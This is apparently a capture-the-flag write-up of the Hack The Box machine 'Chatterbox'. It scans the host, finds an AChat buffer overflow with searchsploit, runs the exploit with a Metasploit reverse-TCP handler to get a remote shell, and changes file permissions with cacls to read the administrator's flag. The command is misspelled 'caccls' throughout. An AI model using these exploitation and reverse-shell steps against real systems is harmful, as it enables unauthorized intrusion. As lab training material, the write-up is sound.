

Chatterbox

Hack The Box (user and root)



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Always NMAP the Box

```
nmap -sC -sV -e tun0 -oA Chatterbox 10.10.10.74 -p-
```

```
# Nmap 7.70 scan initiated Fri Jun 15 12:34:30 2018 as: nmap -sC -sV -e tun0 -oA ChatterboxFull -p- 10.10.10.74
Nmap scan report for 10.10.10.74
Host is up (0.20s latency).
Not shown: 65534 filtered ports
PORT      STATE SERVICE VERSION
9256/tcp   open  unknown

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 15 12:55:02 2018 -- 1 IP address (1 host up) scanned in 1231.93 seconds
(END)
```

- Only one open service on an odd port.
 - Google shows this is from the aChat software.

known port assignments and vulnerabilities

Port(s)	Protocol	Service	Details
9256	udp	applications	Achat is vulnerable to a SEH-based stack buffer overflow, caused by improper bounds checking by AChat.exe. By sending a specially-crafted UDP packet to the default port 9256 to overwrite the SEH handler, a remote attacker could overflow a buffer and execute arbitrary code on the system or cause the application to crash. References: [EDB-36056], [XFDB-100845]

Let's find the exploit mentioned from that screenshot.

```

tristan@tristan-kalivm:~/HackTheBox/Boxes/Chatterbox$ searchsploit achat
-----
Exploit Title | Path
-----|-----
Achat 0.150 beta7 - Remote Buffer Overflow | exploits/windows/remote/36025.py
Achat 0.150 beta7 - Remote Buffer Overflow (Metasploit) | exploits/windows/remote/36056.rb
MataChat - 'input.php' Multiple Cross-Site Scripting Vulnerabilities | exploits/php/webapps/32958.txt
Parachat 5.5 - Directory Traversal | exploits/php/webapps/24647.txt

```

Viewing the exploit code shows us we need to make a meterpreter payload and put it in the python script.

[illegible]

After doing so, we create a handler in Metasploit to capture the session,

```
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf exploit(multi/handler) > set lhost tun0
lhost => tun0
msf exploit(multi/handler) > set lport 5252
lport => 5252
msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.168:5252
```

run the python payload,

```
tristan@tristan-kalivm:~/HackTheBox/Boxes/Chatterbox$ python aChatExploit.py
---->{P00F}!
tristan@tristan-kalivm:~/HackTheBox/Boxes/Chatterbox$
```

and we get a shell!

```
[*] Started reverse TCP handler on 10.10.14.168:5252
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 10.10.10.74
[*] Command shell session 1 opened (10.10.14.168:5252 -> 10.10.10.74:49160) at 2018-06-15 21:42:35 -0600

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

The user flag is located at

`C:\Users\Alfred\Desktop\user.txt`.

```
C:\Windows\system32>type C:\Users\Alfred\Desktop\user.txt
type C:\Users\Alfred\Desktop\user.txt
722
C:\Windows\system32>
```

Upon further inspection, we are running as the

`Alfred` user and can view the

`C:\Users\Administrator\Desktop` directory.

Given that we can view the directory but not the file, we can use the `icaccls` or `caccls` utilities to give ourselves permission to view `root.txt`.

```
caccls C:\users\administrator\desktop\root.txt /p  
Alfred:R
```

```
C:\Users\Administrator\Desktop>caccls C:\users\Administrator\Desktop\root.txt /p Alfred:R  
caccls C:\users\Administrator\Desktop\root.txt /p Alfred:R  
y  
Are you sure (Y/N)?processed file: C:\users\Administrator\Desktop\root.txt  
C:\Users\Administrator\Desktop>
```

This allows us to `type root.txt` to get the flag.

```
C:\Windows\system32>type C:\users\administrator\desktop\root.txt  
type C:\users\administrator\desktop\root.txt  
a67  
C:\Windows\system32>
```

That's the box!